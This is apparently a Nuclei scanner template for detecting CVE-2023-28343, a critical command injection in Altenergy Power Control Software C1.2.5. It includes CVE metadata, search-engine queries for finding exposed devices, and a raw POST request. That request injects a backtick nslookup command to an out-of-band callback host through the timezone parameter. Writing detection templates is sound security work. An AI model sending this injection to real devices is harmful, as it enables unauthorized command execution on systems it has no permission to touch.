Altenergy Power Control Software C1.2.5 - Remote Command Injection

id: CVE-2023-28343

info:
  name: Altenergy Power Control Software C1.2.5 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: |
    Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/set_timezone parameter, because of set_timezone in models/management_model.php. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability.
  reference:
    - https://github.com/ahmedalroky/Disclosures/blob/main/apesystems/os_command_injection.md
    - https://apsystems.com
    - http://packetstormsecurity.com/files/171775/Altenergy-Power-Control-Software-C1.2.5-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28343
    - https://github.com/hba343434/CVE-2023-28343
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28343
    cwe-id: CWE-78
    epss-score: 0.85332
    epss-percentile: 0.99687
    cpe: cpe:2.3:o:apsystems:energy_communication_unit_firmware:c1.2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apsystems
    product: energy_communication_unit_firmware
    shodan-query:
      - title:"Altenergy Power Control Software"
      - http.title:"altenergy power control software"
    fofa-query: title="altenergy power control software"
    google-query:
      - intitle:"Altenergy Power Control Software"
      - intitle:"altenergy power control software"
  tags: cve,cve2023,oast,altenergy,iot,packetstorm,apsystems,vkev,vuln

http:
  - raw:
      - |
        POST /index.php/management/set_timezone HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Accept-Encoding: gzip, deflate
        Referer: {{RootURL}}/index.php/management/datetime

        timezone=`nslookup {{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Time Zone updated successfully"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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